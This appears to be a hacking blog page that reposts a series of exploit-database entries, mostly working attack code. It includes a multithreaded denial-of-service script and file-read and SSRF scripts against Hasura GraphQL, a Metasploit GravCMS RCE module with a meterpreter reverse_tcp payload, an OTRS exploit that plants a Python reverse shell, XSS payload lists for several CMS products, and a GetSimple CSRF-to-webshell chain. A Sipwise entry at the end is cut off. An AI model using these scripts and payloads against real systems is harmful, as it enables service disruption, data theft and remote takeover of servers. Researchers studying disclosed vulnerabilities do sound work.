Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863133736

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Author: Dolev Farhi
# Date: 4/19/2021
# Tested on: Ubuntu

import sys
import requests
import threading

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80
THREADS = 300

def create_table():
  data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":"CREATE TABLE \"public\".\"test_db\"(\"test\" text NOT NULL, PRIMARY KEY (\"test\") );","cascade":False,"read_only":False}},{"type":"add_existing_table_or_view","args":{"name":"test_db","schema":"public"}}]}
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r

def insert_row():
  bomb = 'A' * 100000
  data = {"type":"insert","args":{"table":{"name":"test_db","schema":"public"},"objects":[{"test":bomb}],"returning":[]}}
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r

def DoS():
  dups = 'test \n ' * 1000000
  data =  {'query': 'query { test_db { ' + dups + '} }'}
  endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r

if not create_table().ok:
  print('something went wrong, could not create table.')
  sys.exit(1)

if not insert_row().ok:
  print('something went wrong, could not insert row')
  sys.exit(1)

while True:
  for _ in range(THREADS):
    print('Starting')
    t = threading.Thread(target=DoS, args=())
    t.start()
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GravCMS Remote Command Execution',
        'Description' => %q{
          This module exploits arbitrary config write/update vulnerability to achieve remote code execution.
          Unauthenticated users can execute a terminal command under the context of the web server user.

          Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.
          In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without
          needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of
          existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,
          such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,
          an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command
          under the context of the web-server user.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
          ],
        'References' =>
          [
            ['CVE', '2021-21425'],
            ['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']
          ],
        'Privileged' => true,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'DefaultOptions' =>
          {
            'payload' => 'php/meterpreter/reverse_tcp',
            'Encoder' => 'php/base64',
            'WfsDelay' => 90
          },
        'Targets' => [ ['Automatic', {}] ],
        'DisclosureDate' => '2021-03-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            CONFIG_CHANGES # user/config/scheduler.yaml
          ]
        }
      )
    )

  end

  def check
    # During the fix, developers changed admin-nonce to login-nonce.

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin')
    )

    if res && !res.get_hidden_inputs.first['admin-nonce'].nil?
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def capture_cookie_token
    print_status 'Sending request to the admin path to generate cookie and token'
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin')
    )

    # Cookie must contain grav-site-az09-admin and admin-nonce form field must contain value
    if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/ && !res.get_hidden_inputs.first['admin-nonce'].nil?
      print_good 'Cookie and CSRF token successfully extracted !'
    else
      fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.'
    end

    @cookie = res.get_cookies
    @admin_nonce = res.get_hidden_inputs.first['admin-nonce']

  end

  def exploit

    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
    end

    capture_cookie_token

    @task_name = Rex::Text.rand_text_alpha_lower(5)

    # Msf PHP payload does not contain quotes for many good reasons. But a single quote will surround PHP binary's
    # parameter due to the command execution library of the GravCMS. For that reason, surrounding base64 part of the
    # payload with a double quote is necessary to command executed successfully.

    payload.encoded.sub! 'base64_decode(', 'base64_decode("'
    payload.encoded.sub! '));', '"));'

    print_status 'Implanting payload via scheduler feature'

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
      'cookie' => @cookie,
      'vars_post' => {
        'admin-nonce' => @admin_nonce,
        'task' => 'SaveDefault',
        "data[custom_jobs][#{@task_name}][command]" => '/usr/bin/php',
        "data[custom_jobs][#{@task_name}][args]" => "-r #{payload.encoded}",
        "data[custom_jobs][#{@task_name}][at]" => '* * * * *',
        "data[custom_jobs][#{@task_name}][output]" => '',
        "data[status][#{@task_name}]" => 'enabled',
        "data[custom_jobs][#{@task_name}][output_mode]" => 'append'
      }
    )

    if res && res.code == 200 && res.body.include?('Successfully saved')
      print_good 'Scheduler successfully created ! Wait for 1 minute...'
    end

  end

  def on_new_session
    print_status 'Cleaning up the the scheduler...'

    # Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling
    # the scheduler without any parameter:) It will leave the only command name in the config file.

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
      'cookie' => @cookie,
      'vars_post' => {
        'admin-nonce' => @admin_nonce,
        'task' => 'SaveDefault',
        "data[status][#{@task_name}]" => 'enabled'
      }
    )

    if res && res.code == 200 && res.body.include?('Successfully saved')
      print_good 'The scheduler config successfully cleaned up!'
    end

  end

end
            
# Exploit Title: Adtran Personal Phone Manager 10.8.1 - DNS Exfiltration
# Date: 1/21/2021
# Exploit Author: 3ndG4me
# Vendor Homepage: https://adtran.com/web/page/portal/Adtran/wp_home
# Version: v10.8.1
# Tested on: NetVanta 7060 and NetVanta 7100
# CVE : CVE-2021-25681

# CVE-2021-25681 - AdTran Personal Phone Manager DNS Exfiltration 

--Summary--

The AdTran Personal Phone Manager software is vulnerable to an issue that allows for exfiltration of data over DNS. This could allow for exposed AdTran Personal Phone Manager web servers to be used as DNS redirectors to tunnel arbitrary data over DNS.

ADTRAN, Inc
https://adtran.com

--Affects--

- AdTran Personal Phone Manager
- Verified on v10.8.1
- **Note**: The affected appliances NetVanta 7060 and NetVanta 7100 are considered End of Life and as such this issue will not be patched. It is recommended impacted users update to an actively supported appliance.

--Details--

The AdTran Personal Phone Manager software is vulnerable to an issue that allows for exfiltration of data over DNS. This could allow for exposed AdTran Personal Phone Manager web servers to be used as DNS redirectors to tunnel arbitrary data over DNS. This is achieved by simply making a GET request to the vulnerable server containing a reference to a DNS target that is collecting the tunneled data. This can lead to:

- Utilizing exposed AdTran Personal Phone Manager Services as a redirector for DNS based Command and Control
- Utilizing exposed AdTran Personal Phone Manager Services as a redirector for DNS based arbitrary data exfiltration


-- Proof of Concept --
To exploit the issue all that is necessary is a simple DNS request:

GET http://mydns.attack.com/ HTTP/1.1
Host: SOME ADTRAN HOST HERE
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close

--Mitigation--
The server should be reconfigured to not perform arbitrary DNS lookups when the Host/Get requests do not match. Additionally scoping requests to only be allowed in the context of the application is ideal.

--Timeline--

- 1/21/2021: DNS Exfiltration vulnerability was discovered and documented. A temporary CVE identifier was requested by MITRE. AdTran was also notified with the full details of each finding via their product security contact at https://adtran.com/web/page/portal/Adtran/wp_product_security. A baseline 90 day disclosure timeline was established in the initial communication.
- 1/22/2021: Placeholder CVE-2021-25681 was assigned by MITRE.
- 1/29/2021: A response from AdTran's Product Security Team was received.
- 2/8/2021: The researcher responded to the email acknowledging receipt. The encrypted email contents appeared to be corrupted so a request was made to resend the data.
- 2/9/2021: AdTran's Product Security Team replied with a re-encrypted copy of the previous communication made on 1/29/2021. The reasearcher was able to successfully decrypt the contents of this communication. The communication informed the researcher that the disclosed issues targeting NetVanta 7060 and NetVanta 7100 would not be addressed. The justification for this decision is that software support ended in June of 2018, and product EOL occurred in December of 2020. As such AdTran would not be invesitgating the issues leaving the details of the findings as is. The reseacher responded with acknowledgement to the decision and requested support to proceed with full disclosure outside of the previously established 90 day timeline.
- 2/11/2021: AdTran's product security team responded to the request for full disclosure. They informed the researcher that they would like to discuss the decision internally first. The researcher acknowledged the request and affirmed they would not procceed with disclosure until further notice.
- 3/1/2021: AdTran's product security team reached out to inform the researcher that they would support the full disclosure of the vulnerability at the researcher's discretion. They provided a few details on model names to include as EOL for the disclosure details.
- 3/2/2021: The researcher acknowledges the approval and informs the product security team that a link will be provided to any future publications once the vulnerability is publicly disclosed.
- 3/3/2021: The researcher begins constructing a private repository to prepare the write ups for release.
- 4/17/2021: The researcher publishes the repository for full disclosure and notifies MITRE to update the CVE entry details.
            
# Exploit Title: Hasura GraphQL 1.3.3 - Local File Read
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/19./2021
# Tested on: Ubuntu

import requests
import sys

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80
READ_FILE = '/etc/passwd'

def LFI(file):
    SQLI = "SELECT pg_read_file('../../../../../../../../../{}',0,1000);".format(file)
    data =  {"type":"bulk","args":[{"type":"run_sql","args":{"sql":SQLI,"cascade":False,"read_only":False}}]}
    endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
    r = requests.post(endpoint, json=data)
    return r.json()

res = LFI(READ_FILE)

try:
  print(res[0]['result'][1][0])
except:
  print(res)
            
# Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/19/2021
# Tested on: Ubuntu

import requests

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80

REMOTE_URL = 'http://some_remote_addr'

def SSRF(url):
  data = {
    "type":"bulk",
    "args":[
      {
       "type":"add_remote_schema",
       "args":{
         "name":"test",
         "definition":{
           "url":url,
           "headers":[],
           "timeout_seconds":60,
           "forward_client_headers":True
           }
         }
       }
      ]
    }
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r.json()

res = SSRF(REMOTE_URL)

message = ''
raw_body = ''

try:
  if 'message' in res['internal']:
    message = res['internal'].get('message', '')
  if 'raw_body' in res['internal']:
    raw_body = res['internal'].get('raw_body', '')
except:
  pass

print('Remote URL: ' + REMOTE_URL)
print('Message: ' + message)
print('HTTP Raw Body: ' + raw_body)
print('Error: ' + res['error'])
            
# Exploit Title: OTRS 6.0.1 - Remote Command Execution (2)
# Date: 21-04-2021
# Exploit Author: Hex_26
# Vendor Homepage: https://www.otrs.com/
# Software Link: http://ftp.otrs.org/pub/otrs/
# Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1
# Tested on: OTRS 5.0.2/CentOS 7.2.1511
# CVE : CVE-2017-16921

#!/usr/bin/env python3
"""
Designed after https://www.exploit-db.com/exploits/43853.
Runs a python reverse shell on the target with the preconfigured options.

This script does not start a listener for you. Run one on your own with netcat or another similar tool

By default, this script will launch a python reverse shell one liner with no cleanup. Manual cleanup needs to be done for the PGP options in the admin panel if you wish to preserve full working condition.
"""

import requests;
import sys;

baseuri = "http://10.1.1.1/index.pl";
username = "root@localhost";
password = "root";
revShellIp = "10.1.1.2";
revShellPort = 7007;

sess = requests.Session();

print("[+] Retrieving auth token...");

data = {"Action":"Login","RequestedURL":"","Lang":"en","TimeOffset":"-480","User":username,"Password":password};

sess.post(baseuri,data=data);

if "OTRSAgentInterface" in sess.cookies.get_dict():
    print("[+] Successfully logged in:");
    print("OTRSAgentInterface",":",sess.cookies.get_dict()["OTRSAgentInterface"]);
else:
    print("[-] Failed to log in. Bad credentials?");
    sys.exit();

print("[+] Grabbing challenge token from PGP panel...");

contents = sess.get(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework").text;
challTokenStart = contents.find('<input type="hidden" name="ChallengeToken" value="')+50;
challengeToken = contents[challTokenStart:challTokenStart+32];
print("[+]",challengeToken);


print("[+] Enabling PGP keys in config, and setting our malicious command");

settings = {\
"ChallengeToken":challengeToken,\
"Action":"AdminSysConfig",\
"Subaction":"Update",\
"SysConfigGroup":"Framework",\
"SysConfigSubGroup":"Crypt::PGP",\
"DontWriteDefault":"1",\
"PGP":"1",\
"PGP::Bin":"/usr/bin/python",\
"PGP::Options":"-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + revShellIp + "\"," + str(revShellPort) + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",\
"PGP::Key::PasswordKey[]":"488A0B8F",\
"PGP::Key::PasswordContent[]":"SomePassword",\
"PGP::Key::PasswordDeleteNumber[]":"1",\
"PGP::Key::PasswordKey[]":"D2DF79FA",\
"PGP::Key::PasswordContent[]":"SomePassword",\
"PGP::Key::PasswordDeleteNumber[]":"2",\
"PGP::TrustedNetworkItemActive":"1",\
"PGP::TrustedNetwork":"0",\
"PGP::LogKey[]":"BADSIG",\
"PGP::LogContent[]":"The+PGP+signature+with+the+keyid+has+not+been+verified+successfully.",\
"PGP::LogDeleteNumber[]":"1",\
"PGP::LogKey[]":"ERRSIG",\
"PGP::LogContent[]":"It+was+not+possible+to+check+the+PGP+signature%2C+this+may+be+caused+by+a+missing+public+key+or+an+unsupported+algorithm.",\
"PGP::LogDeleteNumber[]":"2",\
"PGP::LogKey[]":"EXPKEYSIG",\
"PGP::LogContent[]":"The+PGP+signature+was+made+by+an+expired+key.",\
"PGP::LogDeleteNumber[]":"3",\
"PGP::LogKey[]":"GOODSIG",\
"PGP::LogContent[]":"Good+PGP+signature.",\
"PGP::LogDeleteNumber[]":"4",\
"PGP::LogKey[]":"KEYREVOKED",\
"PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\
"PGP::LogDeleteNumber[]":"5",\
"PGP::LogKey[]":"NODATA",\
"PGP::LogContent[]":"No+valid+OpenPGP+data+found.",\
"PGP::LogDeleteNumber[]":"6",\
"PGP::LogKey[]":"NO_PUBKEY",\
"PGP::LogContent[]":"No+public+key+found.",\
"PGP::LogDeleteNumber[]":"7",\
"PGP::LogKey[]":"REVKEYSIG",\
"PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\
"PGP::LogDeleteNumber[]":"8",\
"PGP::LogKey[]":"SIGEXPIRED",\
"PGP::LogContent[]":"The+PGP+signature+is+expired.",\
"PGP::LogDeleteNumber[]":"9",\
"PGP::LogKey[]":"SIG_ID",\
"PGP::LogContent[]":"Signature+data.",\
"PGP::LogDeleteNumber[]":"10",\
"PGP::LogKey[]":"TRUST_UNDEFINED",\
"PGP::LogContent[]":"This+key+is+not+certified+with+a+trusted+signature%21.",\
"PGP::LogDeleteNumber[]":"11",\
"PGP::LogKey[]":"VALIDSIG",\
"PGP::LogContent[]":"The+PGP+signature+with+the+keyid+is+good.",\
"PGP::LogDeleteNumber[]":"12",\
"PGP::StoreDecryptedData":"1"\
};


sess.post(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework",data=settings);

print("[+] Now attempting to trigger the command. If this hangs, it likely means the reverse shell started.");

sess.get(baseuri+"?Action=AdminPGP");

print("[+] Exploit complete, check your listener for a shell");
            
# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)
# Date: 2021/03/19
# Exploit Author: bt0
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip
# Version: 2.2.15
# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935

-----------------------------------------------------------

If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field

Reflected XSS in /admin/addbookmark.php

Some payloads that works:

"><script>prompt(1)</script><"
"><script>alert(1)</script><"
63311';alert(1)//812
//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

------------------------------------------------------------
            
# Exploit Title: RemoteClinic 2.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 13/04/2021
# Exploit Author: Saud Ahmad
# Vendor Homepage: https://remoteclinic.io/
# Software Link: https://github.com/remoteclinic/RemoteClinic
# Version: 2.0
# Tested on: Windows 10
# CVE : CVE-2021-30030, CVE-2021-30034, CVE-2021-30039, CVE-2021-30042, CVE-2021-31329

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient with Full Name Field as XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
3)After Register Patient, go to "Patients" endpoint.
4)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/1

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient.
3)After Register Patient, a page redirect to Register Report Page. 
4)Here is "Symptoms" Field as XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)After Register Report, Click on home which is "dashboard" endpoint.
5)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/5

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient.
3)After Register Patient, a page redirect to Register Report Page. 
4)When you scroll down page two fields there "Fever" and "Blood Pressure", both are vulnerable to XSS, inject XSS Payload in both Fields: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)After Register Report, Click on home.
5)Now Click on Report, XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/8

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a New Clinic.
3)Here is four fields "Clinic Name", "Clinic Address", "Clinic City" and "Clinic Contact". All are vulnerable to XSS. 
4)Inject XSS Payload in all Fields: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)Now go to Clinic Directory.
5)Click on that Clinic.
6)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/11

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Create a New Medicine.
3)Medicine Name Field is Vulnerable to XSS, inject with XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)But there is client side validation on maxlength but not on server side. 
4)Change maxlength 30 to 100.
5)Click on Register.
6)Now Click on Show All which is /medicines/ endpoint.
7)XSS Executed.

Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/14

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Create a New Staff Member.
3)Here is Chat Field and Personal Address Field are Vulnerable to XSS, inject with XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)Profile Created.
5)Signout.
6)Now login with that staff member which Chat field and Personal Address field consist of XSS Payload.
7)After Login, go to my profile.
8)XSS Executed.

Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/16
            
# Exploit Title: Moodle 3.10.3 - 'url' Persistent Cross Site Scripting
# Date: 22/04/2021
# Exploit Author: UVision
# Vendor Homepage: https://moodle.org/
# Software Link: https://download.moodle.org
# Version: 3.10.3
# Tested on: Debian/Windows 10

By having the role of a teacher or an administrator or a manager (to have the possibility to create a course): 

- Create a new course (http://localhost/moodle/course/edit.php?category=1&returnto=topcat)
- Give any name , short name, date and other things required.
- In "Description" field, click on the "link" button
- In the url field, enter the payload : <img src=1 href=1 onerror="javascript:alert(1)"></img>
- Create the link, an alert window appears (close it several times so that it disappears) , save the course. ("Save and return")

Each time the course description is displayed, the stored xss is activated : activate it by viewing the course, by modifying it, etc.
            
# Exploit Title: GetSimple CMS My SMTP Contact Plugin 1.1.2 - CSRF to Stored XSS to RCE
# Exploit Author: Bobby Cooke (boku)
# Date: 22/04/2021
# Vendor Homepage: http://get-simple.info &
# Software Link: http://get-simple.info/download/
# Version: Exploit <= v1.1.1 | Stored XSS <= v1.1.2
# Tested against Server Host: Windows 10 Pro + XAMPP
# Tested against Client Browsers: Firefox (Linix & Windows), Internet Explorer
# Vendor: NetExplorer

# Exploit Description:
# The My SMTP Contact v1.1.2 plugin for GetSimple CMS suffers from a Stored Cross-Site Scripting (XSS) vulnerability, that when chained together with the CSRF vulnerability in v1.1.1, allows remote unauthenticated attackers to achieve Remote Code Execution on the hosting server, when an authenticated administrator visits a malicious third party website. The PHP function htmlspecialchars() attempts to sanitize the user-input, but is trivially bypassed by passing the dangerous characters as escaped hex bytes. This allows attackers to breakout of the HTML rendered by the PHP engine, to run arbitrary client-side code within the admins browser; after the admin submits the POST request from the CSRF attack. Since GetSimple CMS suffers from a known PHP code injection vulnerability within the themes edit page, the attacker can ride the admins session to perform a chain of XHR requests within the admins browser. The XHR chain triggered by the CSRF attack will collect the CSRF Token from the themes edit page, and use the token to exploit the PHP Code Injection vulnerability to upload a webshell within every page hosted by the CMS.
# Full Disclosure: github.com/boku7/gsSMTP-Csrf2Xss2RCE/
# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
# CVSS Base Score: 9.6

import argparse,requests
from http.server import BaseHTTPRequestHandler, HTTPServer
from colorama import (Fore as F, Back as B, Style as S)
from threading import Thread
from time import sleep

FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
    C=FB if color == 'B' else FR if color == 'R' else FG
    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G')

class theTHREADER(object):
    def __init__(self, interval=1):
        self.interval = interval
        thread = Thread(target=self.run, args=())
        thread.daemon = True
        thread.start()
    def run(self):
        run()

def webshell(target):
    try:
        websh = "{}/webshell.php".format(target,page)
        term = "{}{}BOKU{} > {}".format(SB,FR,FB,ST)
        welcome = '    {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST)
        print(welcome)
        while True:
            specialmove = input(term)
            command = {'FierceGodKick': specialmove}
            r = requests.post(websh, data=command, verify=False)
            status = r.status_code
            if status != 200:
                r.raise_for_status()
            response = r.text
            print(response)
    except:
        pass


''' Breakout of the PHP and inject a <script> tag using escaped Hex codepoints to bypass the htmlspecialchars() PHP function
htmlspecailchars() only HTML encodes the chars: &"><'
   "+><script>alert(1)</script>    -->    \x22\x2b\x3e\x3cscript\x3ealert(1)\x3c/script\x3e
 PAYLOAD
 - Replace alert(1) payload above with the XHR Chain to gain RCE
 - XHR Chain first collects the CSRF token on the theme-edit.php page,
   then uses the token to inject PHP code into all pages of the CMS via known vulnerable themes component of core application'''
def xhrRcePayload():
    hexBreakoutOpen = '\\x22\\x2b\\x3e\\x3cscript\\x3e'
    payload  = 'var e=function(i){return encodeURIComponent(i);};'
    payload += 'var h=\\x22application/x-www-form-urlencoded\\x22;'
    payload += 'var u=\\x22/admin/theme-edit.php\\x22;'
    payload += 'var xhr1=new XMLHttpRequest();'
    payload += 'var xhr2=new XMLHttpRequest();'
    payload += 'xhr1.onreadystatechange=function(){'
    payload += 'if(xhr1.readyState==4 \\x26\\x26 xhr1.status==200){'
    payload += 'r=this.responseXML;'
    payload += 'nVal=r.querySelector(\\x22#nonce\\x22).value;'
    payload += 'eVal=r.forms[1][2].defaultValue;'
    payload += 'xhr2.open(\\x22POST\\x22,u,true);'
    payload += 'xhr2.setRequestHeader(\\x22Content-Type\\x22,h);'
    # for the $_REQUEST[solarflare] used for the webshell via shell_exec(), hex-escape the $ or else it will render in the PHP engine to early in the exploit chain
    payload += 'payload=e(\\x22\\x3c?php echo shell_exec(\\x24_REQUEST[solarflare]) ?\\x3e\\x22);'
    payload += 'params=\\x22nonce=\\x22+nVal+\\x22\\x26content=\\x22+payload+\\x22\\x26edited_file=\\x22+eVal+\\x22\\x26submitsave=Save+Changes\\x22;'
    payload += 'xhr2.send(params);'
    payload += '}};'
    payload += 'xhr1.open(\\x22GET\\x22,u,true);'
    payload += 'xhr1.responseType=\\x22document\\x22;'
    payload += 'xhr1.send();'
    hexBreakoutClose = '\\x3c/script\\x3e'
    return hexBreakoutOpen + payload + hexBreakoutClose

def csrfPayload():
    payload  = '<body><form action="'+target+'/admin/load.php?id=my-smtp-contact" method="POST">'
    payload += '<input type="hidden" name="act" value="addsettings">'
    payload += '<input type="hidden" name="m_smtp_c_language" value="en.php">'
    payload += '<input type="hidden" name="m_smtp_c_sender_name" value="'+xhrRcePayload()+'">'
    payload += '<input type="hidden" name="my_smtp_c_selected_dir" value="395ed33a5ae4476">'
    payload += '<input type="submit" value="Submit request">'
    payload += '</form><body>'
    return payload

class S(BaseHTTPRequestHandler):
    def do_GET(self):
        victim = self.client_address
        victim = "{}:{}".format(victim[0],victim[1])
        print("{} connected to Malicious CSRF Site!".format(victim))
        self.wfile.write("{}".format(csrfPayload()).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print('{}Hosting CSRF attack & listening for admin to connect..'.format(info))
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print('Stopping httpd...')

def tryUploadWebshell(target,page):
    try:
        blind = target+page
        # The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt)
        webshUpload  = {'solarflare': "echo ^<?php echo shell_exec($_REQUEST['FierceGodKick']) ?^>>webshell.php"}
        requests.post(url=blind, data=webshUpload, verify=False)
    except:
        pass

def checkWebshell(target):
    try:
        websh = "{}/webshell.php".format(target)
        capsule = {'FierceGodKick':'pwnt?'}
        resp = requests.post(url=websh, data=capsule, verify=False)
        return resp.status_code
    except:
        pass

def sig():
    SIG  = SB+FY+"         .-----.._       ,--.\n"
    SIG += FY+"         |  ..    >  ___ |  | .--.\n"
    SIG += FY+"         |  |.'  ,'-'"+FR+"* *"+FY+"'-. |/  /__   __\n"
    SIG += FY+"         |      </ "+FR+"*  *  *"+FY+" \   /   \\/   \\\n"
    SIG += FY+"         |  |>   )  "+FR+" * *"+FY+"   /    \\        \\\n"
    SIG += FY+"         |____..- '-.._..-'_|\\___|._..\\___\\\n"
    SIG += FY+"             _______"+FR+"github.com/boku7"+FY+"_____\n"+ST
    return SIG

def argsetup():
    about  = SB+FB+'  The My SMTP Contact v1.1.2 plugin for GetSimple CMS suffers from a Stored Cross-Site Scripting (XSS) vulnerability, that when chained together with the CSRF vulnerability in v1.1.1, allows remote unauthenticated attackers to achieve Remote Code Execution on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST
    about += SB+FC+'      CVSS Base Score'+FT+':'+FR+' 9.6  '+FT+'|'+FC+'  CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC
    parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter)
    desc1  = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB
    parser.add_argument('Target',type=str,help=desc1)
    desc2  = ST+FC+'Path to the public page which implements the CMS theme'+ST
    parser.add_argument('PublicPage',type=str,help=desc2)
    args   = parser.parse_args()
    return args

if __name__ == '__main__':
    header    = SB+FR+'         My SMTP Contact GetSimple CMS Plugin\n'
    header   += SB+FM+'CSRF '+FT+'-->'+FM+' Stored XSS '+FT+'-->'+FM+' XHR PHP Code Injection '+FT+'-->'+FM+' RCE\n'+ST
    header   += SB+FT+'               '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST
    print(header)
    args      = argsetup()
    target    = args.Target
    page      = args.PublicPage
    print(sig())
    theTHREADER()
    pwnt = checkWebshell(target)
    if pwnt != 200:
        while pwnt != 200:
            sleep(3)
            tryUploadWebshell(target,page)
            sleep(2)
            pwnt = checkWebshell(target)
    print("{} A wild webshell appears!".format(ok))
    webshell(target)
            
# Exploit Title: Sipwise C5 NGCP CSC - Click2Dial Cross-Site Request Forgery (CSRF)
# Date: 13.04.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.sipwise.com

Sipwise C5 NGCP CSC CSRF Click2Dial Exploit


Vendor: Sipwise GmbH
Product web page: https://www.sipwise.com
Affected version: <=CE_m39.3.1
                  NGCP www_admin version 3.6.7

Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide
